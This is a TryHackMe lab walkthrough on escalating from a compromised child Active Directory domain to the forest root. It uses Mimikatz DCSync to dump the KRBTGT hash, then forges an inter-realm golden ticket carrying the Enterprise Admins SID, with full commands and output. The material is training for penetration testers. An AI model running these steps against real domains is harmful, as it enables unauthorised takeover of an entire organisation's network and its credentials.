Exploiting Domain Trusts
Even though we have access to Tier 0 infrastructure, this is still not enough. We have only exploited the ZA.TRYHACKME.LOC domain. Surely TRYHACKME must have domains for other regions as well? Well, if we take control of the root domain, TRYHACKME.LOC, we will be in a position to compromise all of these regional domains. In this task, we will look at how domain trust can be exploited to take control of the entire forest.
Domain Trusts
As discussed in the AD Basics room, a forest is a collection of one or more domain trees inside an AD network. Domain Trusts are a mechanism for users in the network to gain access to other resources in the domain. For the most part, trusts outline how the domains inside of a forest communicate with each other. In some environments, trusts can be extended out to external domains and even forests in some cases.
There are two main types of trusts that can be configured between domains:
- Directional - The direction of the trust flows from a trusting domain to a trusted domain
- Transitive - The trust relationship expands beyond just two domains to include other trusted domains
It is common to have a root or parent domain in a forest. In our case, this is TRYHACKME.LOC. For each regional office, sub or child domains are created, such as ZA.TRYHACKME.LOC or UK.TRYHACKME.LOC. This forest configuration will allow the sharing of resources between the ZA and the UK office. For example, if some user in the UK office requires access to THMSERVER1, we can grant access for the user in the ZA domain. This permission delegation works since there is bidirectional trust between ZA and the root domain and the UK and the root domain, essentially creating a transitive trust between ZA and UK.
As mentioned above, the trust between a parent and child domain is bidirectional. This is intended behaviour and is used to share resources through greater transitive trust relationships. However, as an attacker, we can also exploit this trust to compromise the parent domain if we have compromised a child domain.
KRBTGT and Golden Tickets
KRBTGT is the account used for Microsoft's implementation of Kerberos. The name is derived from Kerberos (KRB) and Ticket Granting Ticket (TGT). Essentially, this account acts as the service account for the Kerberos Distribution Center (KDC) service, which handles all Kerberos ticket requests. This account is used to encrypt and sign all Kerberos tickets for the domain. Since the password hash is shared by all domain controllers, they can then verify the authenticity of the received TGT when users request access to resources.
However, what if we want to generate our own TGTs to grant us access to everything? This is known as a Golden Ticket attack. In a Golden Ticket attack, we bypass the KDC altogether and create our own TGTs, essentially becoming a Ticket Granting Server (TGS). In order to forge TGTs, we need the following information:
- The FQDN of the domain
- The Security Identifier (SID) of the domain
- The username of the account we want to impersonate
- The KRBTGT password hash
The first three are usually easy to recover. The last one requires a domain compromise since the KRBTGT password hash is only stored on domain controllers. Luckily for us, we have just compromised the Tier 0 admins group with a forged certificate, so we are in a position to recover the KRBTGT password hash.
We will again use Mimikatz with a DC Sync to recover the KRBTGT password hash on THMSERVER2:
C:\Tools>mimikatz_trunk\x64\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # lsadump::dcsync /user:za\krbtgt
[DC] 'za.tryhackme.loc' will be the domain
[DC] 'THMDC.za.tryhackme.loc' will be the DC server
[DC] 'za\krbtgt' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 4/25/2022 7:18:22 PM
Object Security ID : S-1-5-21-3885271727-2693558621-2658995185-502
Object Relative ID : 502
Credentials:
Hash NTLM: removed
ntlm- 0: removed
lm - 0: removed
[....]
Inter-Realm TGTs
Using the KRBTGT password hash, we could now forge a Golden Ticket to access any resource in the child domain. This will also be discussed in more detail in the Persisting AD room. However, we can take this a step further by forging an Inter-Realm TGT. Inter-Realm TGTs are used to provide access to resources in other domains. In our case, we want to exploit the bidirectional trust relationship between the child and parent domain to gain full access to the parent domain.
We will include extra account SIDs from other domains when we construct the Golden Ticket to perform this exploit. Mimikatz can assist with this, allowing us to set the ExtraSids section of the KERB_VALIDATION_INFO structure of the Kerberos TGT. The ExtraSids section is described as “A pointer to a list of KERB_SID_AND_ATTRIBUTES structures that contain a list of SIDs corresponding to groups in domains other than the account domain to which the principal belongs”.
The key here is that we will exploit the trust the parent domain has with our child domain by adding the SID of the Enterprise Admins (EA) group as an extra SID to our forged ticket for the domain controller of the child domain. The EA group belongs to the parent domain and membership to this group essentially grants Administrative privileges over the entire forest! The default SID for this group is S-1-5-21-<RootDomain>-519.
Before we can go into exploitation, we first need to recover two SIDs:
- The SID of the child domain controller (THMDC), which we will impersonate in our forged TGT
- The SID of the Enterprise Admins in the parent domain, which we will add as an extra SID to our forged TGT
To recover these SIDs, we can use the AD-RSAT Powershell cmdlets. We can recover the SID of the child domain controller using the following command:
PS C:\> Get-ADComputer -Identity "THMDC"
DistinguishedName : CN=THMDC,OU=Domain Controllers,DC=za,DC=tryhackme,DC=loc
DNSHostName : THMDC.za.tryhackme.loc
Enabled : True
Name : THMDC
ObjectClass : computer
ObjectGUID : bd651750-782b-4b09-93b4-b5987ec7311b
SamAccountName : THMDC$
SID : S-1-5-21-3885271727-2693558621-2658995185-1001
UserPrincipalName :
We can recover the SID of the Enterprise Admins group using the following command to query the parent domain controller:
PS C:\> Get-ADGroup -Identity "Enterprise Admins" -Server thmrootdc.tryhackme.loc
DistinguishedName : CN=Enterprise Admins,CN=Users,DC=tryhackme,DC=loc
GroupCategory : Security
GroupScope : Universal
Name : Enterprise Admins
ObjectClass : group
ObjectGUID : a23ae384-16e8-44d5-9b36-8173c4e0e5de
SamAccountName : Enterprise Admins
SID : S-1-5-21-3330634377-removed-519
Exploiting Domain Trusts
We finally have all of the information required to create our forged TGT. We will use Mimikatz to generate this golden ticket. The command will look something like this:
C:\Tools>mimikatz_trunk\x64\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # kerberos::golden /user:Administrator /domain:za.tryhackme.loc /sid:S-1-5-21-3885271727-2693558621-2658995185-1001 /service:krbtgt /rc4:<Password hash of krbtgt user> /sids:<SID of Enterprise Admins group> /ptt
User : Administrator
Domain : za.tryhackme.loc (ZA)
SID : S-1-5-21-3885271727-2693558621-2658995185-1001
User Id : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-3330634377-1326264276-632209373-519 ;
ServiceKey: 16f9af38fca3ada405386b3b57366082 - rc4_hmac_nt
Service : krbtgt
Lifetime : 4/30/2022 7:52:51 PM ; 4/27/2032 7:52:51 PM ; 4/27/2032 7:52:51 PM
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'Administrator @ za.tryhackme.loc' successfully submitted for current session
First, we will verify that this ticket works for access to THMDC since it is a valid ticket for the Administrator user of the child domain:
C:\>dir \\thmdc.za.tryhackme.loc\c$
Volume in drive \\thmdc.za.tryhackme.loc\c$ is Windows
Volume Serial Number is 1634-22A9
Directory of \\thmdc.za.tryhackme.loc\c$
01/04/2022 08:47 AM 103 delete-vagrant-user.ps1
04/30/2022 10:24 AM 154 dns_entries.csv
09/15/2018 08:19 AM <DIR> PerfLogs
03/21/2020 09:31 PM <DIR> Program Files
03/21/2020 09:28 PM <DIR> Program Files (x86)
04/27/2022 08:27 AM 1,423 thm-network-setup-dc.ps1
04/25/2022 07:13 PM <DIR> tmp
04/27/2022 08:22 AM <DIR> Users
04/25/2022 07:11 PM <SYMLINKD> vagrant [\\vboxsvr\vagrant]
04/27/2022 08:12 PM <DIR> Windows
7 File(s) 2,356,811 bytes
7 Dir(s) 50,913,189,888 bytes free;
This at least confirms that the Golden Ticket was forged for access to the child DC. However, since we specified extra SIDs, we should also now have access to the parent DC:
C:\>dir \\thmrootdc.tryhackme.loc\c$\
Volume in drive \\thmrootdc.tryhackme.loc\c$ is Windows
Volume Serial Number is 1634-22A9
Directory of \\thmrootdc.tryhackme.loc\c$
01/04/2022 08:47 AM 103 delete-vagrant-user.ps1
09/15/2018 08:19 AM <DIR> PerfLogs
03/21/2020 09:31 PM <DIR> Program Files
03/21/2020 09:25 PM <DIR> Program Files (x86)
04/23/2022 09:21 AM 58 root_dns_entries.csv
04/23/2022 09:22 AM 1,432 thm-network-setup-dc.ps1
04/25/2022 05:50 PM <DIR> tmp
04/27/2022 07:54 AM <DIR> Users
04/25/2022 05:50 PM <SYMLINKD> vagrant [\\vboxsvr\vagrant]
04/27/2022 06:29 PM <DIR> Windows
3 File(s) 1,593 bytes
7 Dir(s) 51,105,730,560 bytes free
This proves that we now have fully compromised the parent domain solely by compromising one of the child domains!
No comments to display
No comments to display